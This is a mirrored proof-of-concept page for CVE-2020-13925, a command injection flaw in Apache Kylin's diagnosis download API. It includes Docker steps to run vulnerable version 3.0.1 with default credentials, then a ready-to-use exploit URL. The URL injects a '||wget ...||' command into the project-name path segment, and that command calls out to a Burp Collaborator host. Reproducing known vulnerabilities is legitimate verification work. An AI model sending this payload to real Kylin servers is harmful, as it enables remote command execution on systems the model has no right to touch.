CVE-2020-13925 PoC — Apache Kylin 安全漏洞

Source

https://github.com/bit4woo/CVE-2020-13925

Associated Vulnerability

Title:Apache Kylin 安全漏洞 (CVE-2020-13925)
Description:Similar to CVE-2020-1956, Kylin has one more restful API which concatenates the API inputs into OS commands and then executes them on the server; while the reported API misses necessary input validation, which causes the hackers to have the possibility to execute OS command remotely. Users of all previous versions after 2.3 should upgrade to 3.1.0.

Readme

# CVE-2020-13925

### 环境搭建


参考 [https://github.com/apache/kylin](https://github.com/apache/kylin) 使用docker进行环境部署，修改其中的版本为3.0.1（存在漏洞的版本）。可以去除 【-m 8G \ 】它的作用是分配内存的大小。


然后访问 [http://host:7070/kylin/login](http://127.0.0.1:7070/kylin/login) 初始用户名和密码是 `ADMIN/KYLIN`。

```bash
docker pull apachekylin/apache-kylin-standalone:3.0.1

docker run -d \
    -m 8G \
    -p 7070:7070 \
    -p 8088:8088 \
    -p 50070:50070 \
    -p 8032:8032 \
    -p 8042:8042 \
    -p 16010:16010 \
    apachekylin/apache-kylin-standalone:3.0.1
    
docker run -d \
    -p 7070:7070 \
    -p 8088:8088 \
    -p 50070:50070 \
    -p 8032:8032 \
    -p 8042:8042 \
    -p 16010:16010 \
    apachekylin/apache-kylin-standalone:3.0.1
```


### 漏洞验证PoC


```python
原始请求：
http://host:port/kylin/api/diag/project/learn_kylin/download
        
PoC请求，GET方法：
http://host:port/kylin/api/diag/project/%7c%7cwget%20h1j96qoac5o9mbqpkewkhxxa218rwg.burpcollaborator.net%7c%7c/download

即将项目名称“learn_kylin”替换为如下payload访问即可：
||wget h1j96qoac5o9mbqpkewkhxxa218rwg.burpcollaborator.net||
```


### 复现步骤

访问 System-Configuration-Diagnosis。触发下载诊断信息的请求 [http://host:port/kylin/api/diag/project/learn_kylin/download](http://120.76.179.151:7070/kylin/api/diag/project/learn_kylin/download)
![image.png](image/111.png)

即将项目名称“learn_kylin”替换为如上payload访问即可。


![image.png](image/222.png)

### 参考链接

https://mp.weixin.qq.com/s/LdEgENX2_b8tb12n4H9KJQ

File Snapshot


 [4.0K]  /data/pocs/7df966428219bbaf455e1690be8f4b4b317ecc29
├── [4.0K]  image
│   ├── [155K]  111.png
│   └── [381K]  222.png
└── [1.6K]  README.md

1 directory, 3 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →